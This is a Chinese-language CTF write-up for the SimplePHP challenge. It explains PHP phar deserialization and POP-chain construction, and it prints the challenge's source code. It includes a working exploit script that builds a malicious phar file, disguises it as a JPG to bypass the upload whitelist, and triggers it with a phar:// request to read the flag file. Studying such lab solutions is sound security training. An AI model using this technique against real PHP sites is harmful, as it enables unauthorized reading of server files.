BUUCTF-WEB 【SWPUCTF 2018】SimplePHP 1

考点

代码审计

反序列化(phar反序列化 和 pop链构造)

前置知识

phar反序列化的三个前提条件

可以上传phar文件

有可以利用的魔术方法

文件操作函数的参数可控

phar文件生成

1
2
3
4
//生成phar文件前需要配置php.ini
[Phar]
; http://php.net/phar.readonly
phar.readonly = On 改成 Off
1
2
3
4
5
6
7
8
9
10
11
// 创建对象 exp.phar 是文件名

$phar = new Phar('exp.phar');
$phar->startBuffering();
// 设置stub
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// $c1 就是要反序列化的对象
$phar->setMetadata($c1);
// 要压缩的文件
$phar->addFromString('exp.txt','test');
$phar->stopBuffering();

可以代替unserialize 进行反序列化操作的函数

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fikeperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

魔法方法

__destruct

类对象被删除时自动调用,反正只要创建对象,都会自动调用一次

__toString

使用 echo 或者 print 进行输出时 就会自动调用

__get

读取不可访问(protected 或 private)或不存在的属性的值时会自动调用

pop链构造

1、找到可利用的地方,比如,文件包含,命令执行等地方

2、从可以利用地方回溯到可控制的地方,找到一个链条。

3、更改属性内容,先进行序列化,看看能不能达到目的。

4、能够达到目的,才进行反序列化,进行提交 有需要编码 就进行编码

解题过程

打开

两个基本的功能,文件上传查看文件

image-20210822151556620

image-20210822151629469

当然,首先联想到的就是,上传图片马,文件包含getshell,事实上想太简单了,文件包含直接输出字符串,就像这样。

image-20210822152305081

经过多次尝试,文件上传只能上传gif,jpg这几中文件,白名单,上传路径为/upload。文件包含只能包含,/var/www/html目录下的文件,可以包含出源代码。

image-20210822152412005

获取源码

放两个关键点的代码

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','F:\Code\PHP\Poc\Serializer\phar\web3');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
# 创建 一个show对象
$show = new Show();
// 反序列化触发点
if(file_exists($file)) {
# 将$_GET['file']得到的值 赋值给 $show->source
$show->source = $file;
// $show->source = new Test();
# 调用$show->_show() 方法 功能:高亮显示一个文件
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
# 如果不是 new Show() 的时候传入$file 那么不会执行 __toString
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.phar
echo $this->source; // 会触发 __toString 方法
}
public function __toString()
{
# $this->>str = new C1e4r(new Test())
// echo "__toString";
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
# 反序列化会触发
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();

}
# __get(),获得一个类的成员变量时调用
#
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
# 读取flag
$text = base64_encode(file_get_contents($value));
return $text;
}
}
代码审计

通过审计可以得知,这道题是phar反序列化,触发点可以不用是unserialize,找到一个能够触发反序列的关键函数file_exists ,这里的$file变量可控

file.php 中

1
2
3
4
5
6
7
8
9
10
11
12
# 创建 一个show对象
$show = new Show();
// 反序列化触发点
if(file_exists($file)) {
# 将$_GET['file']得到的值 赋值给 $show->source
$show->source = $file;
// $show->source = new Test();
# 调用$show->_show() 方法 功能:高亮显示一个文件
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
pop链构造

从file.php 文件中找到了反序列化触发点,接下来就要找到一个可以利用的点。

在class.php 中 Test类中的一个方法。

1
2
3
4
5
6
public function file_get($value)
{
# 读取flag
$text = base64_encode(file_get_contents($value));
return $text;
}

简化class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
# 如果不是 new Show() 的时候传入$file 那么不会执行 __toString
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.phar
echo $this->source; // 会触发 __toString 方法
}
public function __toString()
{
# $this->>str = new C1e4r(new Test())
// echo "__toString";
$content = $this->str['str']->source;
return $content;
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();

}
# __get(),获得一个类的成员变量时调用
#
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
# 读取flag
$text = base64_encode(file_get_contents($value));
return $text;
}
}

接下来从class.php 文件中的 几个类中构建出 pop链。

1
C1e4r::__destruct->Show::__toString->Test::__get

构造pop链要从可以利用的地方放回构建。

首先Test类中要调用__get方法,那么类方法中必须调用一个不存在的属性或者私有属性,在Show类中的__toString方法中,有这么一句 $content = $this->str['str']->source; ,我们让$this->str['str'] 为 Test类,那么 调用的就是 $content = Test->source;,就会触发Test类调用__get,__get中会调用get方法,get方法又会调用file_get,然后执行到file_get_contents。那要怎么才能让__toString执行呢,在C1e4r类中有一个__destruct方法,这个方法有一句 echo $this->test; ,echo则会触发__toString的执行,所以我们要让$this->test 为 $this->test = new Show() ,但是这里还不能这样做,在C1e4r中的__destruct方法中 $this->test 要被 $this->str赋值,所以,这里,直接给 $this->str = new Show()

上代码

注意:这里要生成phar文件,需要在 php.ini 中 让phar.readonly = On 为 Off,不然会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();

// 这里之所以要为params['source'] 是因为你Show的__toStringd调用source;
// Test的 get方法会进行检测 $this->params[$key] 未定义 则赋值 index.php
// 因为调用了一个未定义属性 source ,所以$key的值为 'source'
// 所以这里的 $value = $this->params[$key]; 获取的就是 '/var/www/html/f1ag.php'
$test->params['source'] = '/var/www/html/f1ag.php';
$show->str['str'] = $test;
$c1e4r->str = $show;

# 创建对象 exp.phar 是文件名
$phar = new Phar('exp.phar');
$phar->startBuffering();
// 设置stub
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//
$phar->setMetadata($c1e4r);
// 要压缩的文件
$phar->addFromString('exp.txt','test');
$phar->stopBuffering();

执行生成

image-20210822160802882

phar后缀肯定上传不上去,改后缀上传

image-20210822161040913

找到文件

image-20210822161216502

phar://伪协议读取

1
file.php?file=phar://upload/8db450d8192e8744a04cbdef20abcaf1.jpg

得到

image-20210822161405663

这个就是flag,不解码了。

总结

通过这道题,再一次巩固了反序列化的phar类型的题,不仅是phar类型,还有pop链的构造,我对pop链构造一直都不是很熟悉,说到底都还是这种类型的题做得太少,自己觉得这个题还是有难度,尤其是这么多个文件,还是去找执行反序列化的地方,刚开始,我一直以为是Test类file_get方法中的 file_get_contents函数,但是怎么想都不对,如果是它,那怎么利用呢,基本上不可能,看了别的师傅wp,才知道用phar://协议读取,file_exists函数也可以触发反序列化,学到了很多 。